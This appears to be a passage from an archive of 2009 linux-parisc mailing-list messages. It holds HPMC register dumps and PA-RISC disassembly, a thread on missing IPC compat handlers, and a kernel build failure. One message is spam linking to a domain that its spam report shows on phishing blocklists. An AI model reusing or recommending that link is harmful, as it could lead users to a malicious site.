12-15  0000000000000000  0000000000000016  0000000000000000  00000000000168b8
16-19  fffffff0f0d00b0c  0000000000016bec  00000000000168cc  00000000ffffffff
20-23  00000002bf8297f8  000000000800000e  000000023a74c198  0000000040d142d0
24-27  0000000000000001  00000002bf8297e8  000000004277d240  00000000405ca240
28-31  000000007f508000  000000007f5081d0  000000007f508200  0000000000000008


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000027464  0000000000000000  00000000000000c0  000000000000001b
12-15  0000000000000000  0000000000000000  0000000000103000  ffe0000000000000
16-19  0001fce881fe07b0  0000000000000000  0000000040125330  00000000c7bfdfe5
20-23  0000000010240009  00000000df77d240  000000ff0806ff0f  0000000000000000
24-27  0000000000524000  000000021057e000  ffffffffffffffff  0000000040001460
28-31  0000000040001b00  ffffffffffffffff  000000007f508000  ffffffffffffffff

Space Registers 0 - 7
00-03  0000000009d19000  0000000009d19000  0000000000000000  0000000009d19000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000

IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000040125334
CPU State                    = 0x9e000000

#  Location|Alert| Encoded Field    |  Data Field    |   Keyword / Timestamp
-------------------------------------------------------------------------------
232   SFW  0  *7  0xE880035C00E01440 00000000402492CB ERR_CHECK_HPMC
                                                      08 Mar 2009 06:02:02
233   SFW  1  *7  0xE880035C01E01460 0000000040125330 ERR_CHECK_HPMC
                                                      08 Mar 2009 06:02:02
234   SFW  0   2  0x57800F7300E01480 8400000000800000 ERR_CPU_CHECK_SUMMARY
                                                      08 Mar 2009 06:02:02
235   SFW  1   2  0x57800F7301E014A0 8400000000800000 ERR_CPU_CHECK_SUMMARY
                                                      08 Mar 2009 06:02:02
236   SFW  1   2  0x5680100B01E014C0 0000000000000194 MC_OS_HPMC_LEN_ERR
                                                      08 Mar 2009 06:02:02
237   SFW  0  *7  0xF680105E00E014E0 FFFFFFF0F0C00000 MC_HPMC_MONARCH_SELECTED
                                                      08 Mar 2009 06:02:02
238   SFW  1   2  0x5680106401E01500 FFFFFFF0F0436FC0 MC_BR_TO_OS_HPMC_FAILED
                                                      08 Mar 2009 06:02:02
239   SFW  0   2  0x5680100B00E01520 0000000000000194 MC_OS_HPMC_LEN_ERR
                                                      08 Mar 2009 06:02:03
240   SFW  0   2  0x5680106400E01540 FFFFFFF0F0435110 MC_BR_TO_OS_HPMC_FAILED
                                                      08 Mar 2009 06:02:03
241   SFW  1   2  0x57800F7301E01560 8400000000800000 ERR_CPU_CHECK_SUMMARY
                                                      08 Mar 2009 06:02:40
242   SFW  1   2  0x4380107401E01580 0000000000000000 MC_OS_TOC_MISSING
                                                      08 Mar 2009 06:02:47
243   BMC      2  0x2049B35FAB0215A0 FFFF027000120300 Type-02 127002 1208322
                                                      08 Mar 2009 06:03:23
244   BMC      2  0x2049B35FC70215B0 FFFF0103FDC00300 Type-02 c00301 12583681
                                                      08 Mar 2009 06:03:51
245        0   2  0x56801A4A00E015C0 0000000000000002 IPMI Type-E0 Event
                                                      08 Mar 2009 06:04:20

0000000040249228 <sys_msgctl>:
    40249228:   0f c2 12 c1     std rp,-10(sp)
    4024922c:   37 de 02 40     ldo 120(sp),sp
    40249230:   73 c6 3e d1     std r6,-98(sp)
    40249234:   08 18 02 46     copy r24,r6
    40249238:   73 c5 3e e1     std r5,-90(sp)
    4024923c:   db 25 0f e0     extrd,s r25,63,32,r5
    40249240:   73 c3 3f 01     std r3,-80(sp)
    40249244:   db 43 0f e0     extrd,s r26,63,32,r3
    40249248:   73 c9 3e a1     std r9,-b0(sp)
    4024924c:   73 c8 3e b1     std r8,-a8(sp)
    40249250:   73 c7 3e c1     std r7,-a0(sp)
    40249254:   8c 60 60 38     cmpib,> 0,r3,40249278 <sys_msgctl+0x50>
    40249258:   73 c4 3e f1     std r4,-88(sp)
    4024925c:   8c a0 60 30     cmpib,> 0,r5,4024927c <sys_msgctl+0x54>
    40249260:   34 1f 3f d5     ldi -16,r31
    40249264:   03 c0 08 bc     mfctl tr6,ret0
    40249268:   0f 80 10 df     ldd 0(ret0),r31
    4024926c:   53 f3 0c 30     ldd 618(r31),r19
    40249270:   8c b8 80 60     cmpib,>>= c,r5,402492a8 <sys_msgctl+0x80>
    40249274:   52 67 00 20     ldd 10(r19),r7
    40249278:   34 1f 3f d5     ldi -16,r31
    4024927c:   08 1f 02 5c     copy r31,ret0
    40249280:   53 c2 3d a1     ldd -130(sp),rp
    40249284:   53 c9 3e a1     ldd -b0(sp),r9
    40249288:   53 c8 3e b1     ldd -a8(sp),r8
    4024928c:   53 c7 3e c1     ldd -a0(sp),r7
    40249290:   53 c6 3e d1     ldd -98(sp),r6
    40249294:   53 c5 3e e1     ldd -90(sp),r5
    40249298:   53 c4 3e f1     ldd -88(sp),r4
    4024929c:   53 c3 3f 01     ldd -80(sp),r3
    402492a0:   e8 40 d0 00     bve (rp)
    402492a4:   37 de 3d c1     ldo -120(sp),sp
    402492a8:   01 65 18 c0     mtsarcm r5
    402492ac:   34 1c 10 08     ldi 804,ret0
    402492b0:   d7 e2 13 00     depdi,z 1,sar,64,r31
    402492b4:   0b 9f 02 3c     and r31,ret0,ret0
    402492b8:   9f 80 20 c2     cmpb,*=,n r0,ret0,40249320 <sys_msgctl+0xf8>
    402492bc:   9f 00 3f 75     cmpb,*= r0,r24,4024927c <sys_msgctl+0x54>
    402492c0:   34 1f 3f e5     ldi -e,r31
    402492c4:   84 b6 22 28     cmpib,= b,r5,402493e0 <sys_msgctl+0x1b8>
    402492c8:   08 03 02 59     copy r3,r25
    402492cc:   08 1b 02 44     copy dp,r4

00000000401252d0 <cpu_idle>:
    401252d0:   0f c2 12 c1     std rp,-10(sp)
    401252d4:   73 c4 01 08     std,ma r4,80(sp)
    401252d8:   03 c0 08 bc     mfctl tr6,ret0
    401252dc:   37 93 00 20     ldo 10(ret0),r19
    401252e0:   00 01 0e 74     rsm 1,r20
    401252e4:   da 7f 0b 3e     extrd,u r19,57,2,r31
    401252e8:   2b 64 30 00     addil L%9800,dp,r1
    401252ec:   50 3c 09 a0     ldd 4d0(r1),ret0
    401252f0:   e8 00 00 10     b,l 40125300 <cpu_idle+0x30>,r0
    401252f4:   0b 9f 0a bf     shladd,l r31,2,ret0,r31
    401252f8:   0f e0 10 9c     ldw 0(r31),ret0
    401252fc:   9f 80 20 8a     cmpb,*=,n r0,ret0,40125348 <cpu_idle+0x78>
    40125300:   0f e0 15 dc     ldcw,co 0(r31),ret0
    40125304:   87 80 3f dd     cmpib,= 0,ret0,401252f8 <cpu_idle+0x28>
    40125308:   08 00 02 40     nop
    4012530c:   0e 60 10 dc     ldd 0(r19),ret0
    40125310:   f7 9f 04 7f     depdi -1,60,1,ret0
    40125314:   0e 7c 12 c0     std ret0,0(r19)
    40125318:   34 1c 00 02     ldi 1,ret0
    4012531c:   0f fc 12 80     stw ret0,0(r31)
    40125320:   00 14 18 60     mtsm r20
    40125324:   e8 1f 1f ff     b,l,n 40125328 <cpu_idle+0x58>,r0
    40125328:   03 c0 08 bc     mfctl tr6,ret0
    4012532c:   53 9f 00 20     ldd 10(ret0),r31
    40125330:   c7 bf df e5     bb,>= r31,1d,40125328 <cpu_idle+0x58>
    40125334:   37 dd 3f a1     ldo -30(sp),ret1
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: hpmc on rp3440 with 2.6.29-rc5
Date: Mon, 16 Mar 2009 20:51:47 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20090317005147.GD4282@bombadil.infradead.org>
References: <20090317004802.22B564E9D@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1237251119 16656 80.91.229.12 (17 Mar 2009 00:51:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Mar 2009 00:51:59 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 17 01:53:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LjNYQ-0006AM-2n
	for glpp-linux-parisc@gmane.org; Tue, 17 Mar 2009 01:53:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752907AbZCQAvu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Mar 2009 20:51:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753454AbZCQAvu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Mar 2009 20:51:50 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:51369 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752907AbZCQAvt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Mar 2009 20:51:49 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LjNX1-0007PW-Rs; Tue, 17 Mar 2009 00:51:47 +0000
Content-Disposition: inline
In-Reply-To: <20090317004802.22B564E9D@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1399
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1399>

On Mon, Mar 16, 2009 at 08:48:01PM -0400, John David Anglin wrote:
> Below is some info that I collected from a HPMC that occurred running the GCC
> testsuite.  I believe this kernel was built with the master branch from
> Kyle's parisc-2.6.git tree.
> 
> In the info below, I only included relevant data.  No hpmc data was
> recorded for processors 2 and 3.  Unfortunately, I lost the console output
> for the crash if any.
> 
> This is with a SMP 64-bit kernel.  I still have it and the config file.
> 
> I'm not the greatest at interpreting chassis codes.  It's not at all clear
> to me what went wrong.
>

Good catch, looks like we're missing a compat handler for msgctl. I'll
add one and hopefully this will go away. :)

regards ,Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: hpmc on rp3440 with 2.6.29-rc5
Date: Mon, 16 Mar 2009 20:56:24 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20090317005624.GE4282@bombadil.infradead.org>
References: <20090317004802.22B564E9D@hiauly1.hia.nrc.ca> <20090317005147.GD4282@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1237251396 17240 80.91.229.12 (17 Mar 2009 00:56:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Mar 2009 00:56:36 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 17 01:57:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LjNcu-00079j-0l
	for glpp-linux-parisc@gmane.org; Tue, 17 Mar 2009 01:57:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751715AbZCQA42 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Mar 2009 20:56:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754192AbZCQA42
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Mar 2009 20:56:28 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:40555 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751715AbZCQA41 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Mar 2009 20:56:27 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LjNbU-0002rh-4W; Tue, 17 Mar 2009 00:56:24 +0000
Content-Disposition: inline
In-Reply-To: <20090317005147.GD4282@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1400
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1400>

On Mon, Mar 16, 2009 at 08:51:47PM -0400, Kyle McMartin wrote:
> > In the info below, I only included relevant data.  No hpmc data was
> > recorded for processors 2 and 3.  Unfortunately, I lost the console output
> > for the crash if any.
> > 
> > This is with a SMP 64-bit kernel.  I still have it and the config file.
> > 
> > I'm not the greatest at interpreting chassis codes.  It's not at all clear
> > to me what went wrong.
> >
> 
> Good catch, looks like we're missing a compat handler for msgctl. I'll
> add one and hopefully this will go away. :)
> 

Woah. Really good catch, we're missing compat handlers for virtually all
the ipc functions!

I'll fix this up ASAP.

Thanks!
	Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: hpmc on rp3440 with 2.6.29-rc5
Date: Mon, 16 Mar 2009 21:18:14 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <20090317011815.B63EE4E9D@hiauly1.hia.nrc.ca>
References: <20090317005624.GE4282@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1237252710 20449 80.91.229.12 (17 Mar 2009 01:18:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Mar 2009 01:18:30 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 17 02:19:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LjNy2-00041x-I2
	for glpp-linux-parisc@gmane.org; Tue, 17 Mar 2009 02:19:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752977AbZCQBSS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Mar 2009 21:18:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754192AbZCQBSS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Mar 2009 21:18:18 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1960 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752977AbZCQBSS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Mar 2009 21:18:18 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B63EE4E9D; Mon, 16 Mar 2009 21:18:15 -0400 (EDT)
In-Reply-To: <20090317005624.GE4282@bombadil.infradead.org> from "Kyle McMartin" at Mar 16, 2009 08:56:24 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1401
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1401>

> Woah. Really good catch, we're missing compat handlers for virtually all
> the ipc functions!

Is there some way to do an audit as to what else might be missing?

The reason I ask is that I tried linus 2.6.29-rc8 on my c3750 Saturday.
There's still a problem with user and group access by sshd.  There may
be a load dependence.  I have only seen this with 32-bit kernels.  It's
not present in 2.6.22.

Other common problems are occasional timeouts in the GCC testsuite
by some programs that shouldn't timeout.  There are also occasional
timeouts in pthread related applications but that's likely a glibc
issue.

I also see truncated output from some tests that generate a lot of
output.  This seems worse with 32-bit kernels.  There are a couple of
tests in the binutils gas testsuite that trigger this all the time.
I would think this has something to do with exit and pipe sizes.

The last two problems have been around for a long time.

> I'll fix this up ASAP.

Fantastic!

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Edgar" <chandru.sans@uniurb.it>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: We worry about you
Date: Wed, 18 Mar 2009 16:20:42 +0800
Lines: 7
Approved: news@gmane.org
Message-ID: <20090318162042.3090900@uniurb.it>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1237366223 16293 80.91.229.12 (18 Mar 2009 08:50:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Mar 2009 08:50:23 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 18 09:51:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LjrUx-0001Fn-Qq
	for glpp-linux-parisc@gmane.org; Wed, 18 Mar 2009 09:51:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751839AbZCRIuP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Mar 2009 04:50:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751967AbZCRIuP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 18 Mar 2009 04:50:15 -0400
Original-Received: from 87-103-134-125.pppoe.irtel.ru ([87.103.134.125]:1515 "HELO
	87-103-134-125.pppoe.irtel.ru" rhost-flags-OK-FAIL-OK-FAIL)
	by vger.kernel.org with SMTP id S1751839AbZCRIuO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Mar 2009 04:50:14 -0400
Original-Received: from [65.92.206.163] (helo=ryuii)
	by 87-103-134-125.pppoe.irtel.ru with smtp (Exim 4.69)
	id 123736454364-0003dk-5T; Wed, 18 Mar 2009 16:22:23 +0800
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 18.4 points;
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?87.103.134.125>]
 *  4.0 RCVD_IN_XBL RBL: Received via a relay in Spamhaus XBL
 *      [87.103.134.125 listed in sbl-xbl.spamhaus.org]
 *  0.8 URIBL_PH_SURBL Contains an URL listed in the PH SURBL blocklist
 *      [URIs: breakingnewsfm.com]
 *  0.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist
 *      [URIs: breakingnewsfm.com]
 *  2.0 URIBL_OB_SURBL Contains an URL listed in the OB SURBL blocklist
 *      [URIs: breakingnewsfm.com]
 *  4.0 URIBL_SC_SURBL Contains an URL listed in the SC SURBL blocklist
 *      [URIs: breakingnewsfm.com]
Xref: news.gmane.org gmane.linux.ports.parisc:1402 gmane.spam.detected:4355073
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1402>

We hope that you are ok http://mc.breakingnewsfm.com/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Wed, 18 Mar 2009 14:55:13 +0300
Lines: 48
Approved: news@gmane.org
Message-ID: <a4423d670903180455u20ead146k919426a1fb7276c6@mail.gmail.com>
References: <a4423d670903030457k20f2e975ya567e9d3b1a5a3ab@mail.gmail.com>
	 <20090303163348.422E34E9A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1237377327 19079 80.91.229.12 (18 Mar 2009 11:55:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Mar 2009 11:55:27 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 18 12:56:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LjuO3-0001fz-5w
	for glpp-linux-parisc@gmane.org; Wed, 18 Mar 2009 12:56:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755987AbZCRLzT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Mar 2009 07:55:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756490AbZCRLzT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 18 Mar 2009 07:55:19 -0400
Original-Received: from mail-bw0-f169.google.com ([209.85.218.169]:60087 "EHLO
	mail-bw0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755987AbZCRLzR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Mar 2009 07:55:17 -0400
Original-Received: by bwz17 with SMTP id 17so11430bwz.37
        for <linux-parisc@vger.kernel.org>; Wed, 18 Mar 2009 04:55:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=zXkxNQOFau92dGbmgrLICPgIRtVjJbJTkL18skybnxA=;
        b=MVXkL5sOqy0RlTFyZnQ1/WfnqMbXs2F/nOwq5OaMGe3jJkT8mxQ/S9zi58rZlo4J24
         TLU3473r0CVTh3bRDecy6EM6diG4VsxcwH1AI1kGaz7tFhC8QSN6y+iSmahwY/KJBGVR
         cjAlH97cOpV4rQ23cyfhbuUeS6ssj0I10bewg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=uRkO+99Iu5cLMZ17N2I29AJeGfL3XlGc4AQZcq74ODtGeI6jBOCK9WWoMlAzce2SJP
         UhdmuCC3J6SaP7wUcDD+mup+NBy7sByO0C6cwGex4yXlTxHQnH9DbLUk31Q0mDyQ6w89
         OPHDyd0si5se/lKxIMoBNQSp7VUdKAG9dOjBU=
Original-Received: by 10.223.114.207 with SMTP id f15mr927138faq.90.1237377314543; Wed, 
	18 Mar 2009 04:55:14 -0700 (PDT)
In-Reply-To: <20090303163348.422E34E9A@hiauly1.hia.nrc.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1403
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1403>

Hi

ld now does not segfault

http://lists.gnu.org/archive/html/bug-binutils/2009-03/msg00105.html

but I still can not build kernel.

   ld    -r -o init/built-in.o init/main.o init/version.o
init/mounts.o init/noinitramfs.o init/calibrate.o
  ld  --build-id -o .tmp_vmlinux1 -T arch/parisc/kernel/vmlinux.lds
arch/parisc/kernel/head.o   init/built-in.o --start-group
usr/built-in.o  arch/parisc/mm/built-in.o
arch/parisc/kernel/built-in.o  arch/parisc/math-emu/built-in.o
arch/parisc/kernel/init_task.o  kernel/built-in.o  mm/built-in.o
fs/built-in.o  ipc/built-in.o  security/built-in.o  crypto/built-in.o
block/built-in.o  lib/lib.a  arch/parisc/lib/lib.a `gcc
-print-libgcc-file-name`  lib/built-in.o  arch/parisc/lib/built-in.o
`gcc -print-libgcc-file-name`  drivers/built-in.o  sound/built-in.o
firmware/built-in.o  net/built-in.o --end-group
ld: arch/parisc/kernel/built-in.o(.text+0xc84): cannot reach
000000b2_b2:46+4068, recompile with -ffunction-sections
ld: arch/parisc/kernel/built-in.o(.text+0xc84): cannot handle
R_PARISC_PCREL12F for .text

I have recompiled kernel with -ffunction-sections, but still the same problem.

diff --git a/Makefile b/Makefile
index 2e2f4a4..61b09b2 100644
--- a/Makefile
+++ b/Makefile
@@ -346,7 +346,7 @@ KBUILD_CPPFLAGS := -D__KERNEL__

 KBUILD_CFLAGS   := -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs \
                   -fno-strict-aliasing -fno-common \
-                  -Werror-implicit-function-declaration
+                  -Werror-implicit-function-declaration -ffunction-sections
 KBUILD_AFLAGS   := -D__ASSEMBLY__

 # Read KERNELRELEASE from include/config/kernel.release (if it exists)


gcc version 4.3.3 (Gentoo 4.3.3-r1 p1.1, pie-10.1.5)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Out of order unwind entry
Date: Wed, 18 Mar 2009 15:17:38 +0200 (EET)
Lines: 1589
Approved: news@gmane.org
Message-ID: <Pine.SOC.4.64.0903181515460.4740@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1237382276 3499 80.91.229.12 (18 Mar 2009 13:17:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Mar 2009 13:17:56 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 18 14:19:12 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ljvfo-0005GA-Pt
	for glpp-linux-parisc@gmane.org; Wed, 18 Mar 2009 14:19:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754250AbZCRNRo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Mar 2009 09:17:44 -0400
